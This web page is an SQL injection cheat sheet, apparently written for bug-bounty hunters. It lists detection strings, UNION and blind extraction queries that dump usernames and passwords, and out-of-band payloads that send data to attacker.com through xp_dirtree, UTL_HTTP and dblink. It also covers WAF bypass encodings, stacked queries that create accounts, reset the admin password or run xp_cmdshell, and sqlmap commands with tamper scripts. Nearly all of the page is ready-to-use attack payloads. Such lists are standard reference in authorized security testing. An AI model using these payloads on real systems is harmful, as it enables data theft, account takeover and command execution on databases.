Skip to content
Web Security

SQL Injection

Advanced SQL injection techniques, WAF bypass, and database-specific exploitation

Quick Detection

Error-Based Confirmation

TEXT
'
''
`
"
""
' OR '1'='1
' AND '1'='2
1' AND 1=1--
1' AND 1=2--

Blind Detection (Time-Based)

SQL
-- MySQL
' AND SLEEP(5)--
' AND BENCHMARK(10000000,SHA1('test'))--

-- PostgreSQL  
'; SELECT pg_sleep(5)--
' AND 1=(SELECT 1 FROM pg_sleep(5))--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--
' AND 1=1; WAITFOR DELAY '0:0:5'--

-- Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--

UNION-Based Extraction

Find Column Count

SQL
' ORDER BY 1--
' ORDER BY 5--
' ORDER BY 10--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

Find Output Column

SQL
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

Extract Data

SQL
-- MySQL
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--

-- Concatenation
' UNION SELECT CONCAT(username,':',password),NULL FROM users--
' UNION SELECT GROUP_CONCAT(username,0x3a,password),NULL FROM users--

-- PostgreSQL
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT string_agg(username||':'||password,','),NULL FROM users--

-- MSSQL
' UNION SELECT name,NULL FROM sysobjects WHERE xtype='U'--
' UNION SELECT username+':'+password,NULL FROM users--

Blind Extraction

Boolean-Based

SQL
-- Character extraction
' AND SUBSTRING(username,1,1)='a'--
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--

-- Binary search (faster)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>112--

Time-Based

SQL
-- MySQL
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)--
' AND IF((SELECT COUNT(*) FROM users WHERE username='admin')=1,SLEEP(3),0)--

-- PostgreSQL
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END)--
' AND (SELECT CASE WHEN SUBSTRING(username,1,1)='a' THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users LIMIT 1)--

-- MSSQL
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')=1 WAITFOR DELAY '0:0:3'--

Out-of-Band (OOB) Extraction

DNS Exfiltration

SQL
-- MySQL (requires FILE privilege)
SELECT LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'));
SELECT ... INTO OUTFILE '\\\\attacker.com\a'

-- MSSQL
'; EXEC master..xp_dirtree '\\attacker.com\a'--
'; EXEC master..xp_fileexist '\\attacker.com\a'--
DECLARE @a varchar(1024);SET @a=db_name();EXEC('master..xp_dirtree "\\'+@a+'.attacker.com\a"')--

-- Oracle
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||password) FROM users;
SELECT HTTPURITYPE('http://attacker.com/'||password).getclob() FROM users;
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE ROWNUM=1)||'.attacker.com') FROM dual;

HTTP Exfiltration

SQL
-- PostgreSQL
CREATE EXTENSION dblink;
SELECT dblink_connect('host=attacker.com user='||(SELECT password FROM users LIMIT 1)||' password=a dbname=a');

-- Oracle
SELECT UTL_HTTP.REQUEST('http://attacker.com/?data='||password) FROM users;

WAF Bypass Techniques

Comment Variations

SQL
/**/
/*! */          -- MySQL inline comment
/*! 50000 */    -- MySQL version comment
#
-- -
;%00

Space Bypass

SQL
/**/
%09  -- Tab
%0a  -- Newline
%0b  -- Vertical tab
%0c  -- Form feed
%0d  -- Carriage return
%a0  -- Non-breaking space

-- Examples
UNION/**/SELECT/**/1
UNION%09SELECT%091
UNION%0aSELECT%0a1

Keyword Bypass

SQL
-- Case variation
SeLeCt, sElEcT, SELECT

-- Double encoding
%2527%27'
%252f → %2f → /

-- Unicode
%u0027 → '
%uff07 → '

-- Keyword splitting
SEL/**/ECT
SELE%00CT (null byte)
SELECT%0d%0a1

-- Alternative functions
SUBSTRING → MID, SUBSTR
ASCII → ORD
BENCHMARK → SLEEP

Operator Alternatives

SQL
-- Comparison
=LIKE
= → REGEXP
= → RLIKE (MySQL)
=SIMILAR TO (PostgreSQL)

-- AND/OR bypass
AND&&
OR||
NOT!

-- UNION bypass
UNION SELECTUNION ALL SELECT
UNION SELECT/*!00000UNION*/ /*!00000SELECT*/

Encoding Payloads

SQL
-- Hex encoding (MySQL)
SELECT 0x61646d696e  -- 'admin'
WHERE username=0x61646d696e

-- CHAR function
SELECT CHAR(97,100,109,105,110)  -- 'admin'

-- Base64 (if app decodes)
' UNION SELECT FROM_BASE64('YWRtaW4=')--

Stacked Queries (Where Supported)

SQL
-- MSSQL (common)
'; INSERT INTO users VALUES('hacker','password')--
'; UPDATE users SET password='hacked' WHERE username='admin'--
'; EXEC xp_cmdshell 'whoami'--

-- PostgreSQL
'; INSERT INTO users VALUES('hacker','password')--
'; CREATE TABLE cmd_output(output TEXT); COPY cmd_output FROM PROGRAM 'id'--

-- MySQL (PDO/mysqli with multi-query)
'; INSERT INTO users VALUES('hacker','password')--#

Second-Order SQLi

TEXT
# Stored in database, executed later
# Common vectors:
- User registration (username stored, used in query later)
- Profile updates
- Password reset flows
- Admin dashboard queries
- Report generation
- Search history

# Test: Register username as payload
admin'--
admin' OR '1'='1

Practical Bug Bounty Tips

High-Impact Targets

TEXT
- Login forms (auth bypass)
- Password reset (token extraction)
- Search functionality (data extraction)
- API endpoints with ID parameters
- GraphQL queries
- Order/sort parameters
- Numeric IDs (often less sanitized)

What Actually Works in 2024

TEXT
1. JSON/XML body parameters (often less filtered)
2. HTTP headers (X-Forwarded-For, Referer, User-Agent)
3. Cookie values
4. Numeric parameters (type juggling)
5. Array parameters: id[]=1 UNION SELECT
6. Wildcard searches with LIKE
7. ORDER BY / GROUP BY injection
8. LIMIT/OFFSET parameters

SQLMap Pro Usage

BASH
# With request file (most reliable)
sqlmap -r request.txt --batch --dbs

# High risk for WAF bypass
sqlmap -r request.txt --level=5 --risk=3 --tamper=space2comment,between

# OOB when blind is too slow
sqlmap -r request.txt --dns-domain=attacker.com

# Specific parameter
sqlmap -u "https://target.com/api?id=1" -p id --technique=BUT

# Through proxy
sqlmap -r request.txt --proxy=http://127.0.0.1:8080

Tamper Scripts for WAF

BASH
--tamper=space2comment      # /**/
--tamper=between           # BETWEEN instead of >
--tamper=randomcase        # rAnDoM CaSe
--tamper=charencode        # URL encode
--tamper=equaltolike       # = to LIKE
--tamper=greatest          # > to GREATEST
--tamper=apostrophemask    # Unicode apostrophe
--tamper=space2morehash    # MySQL specific
On this page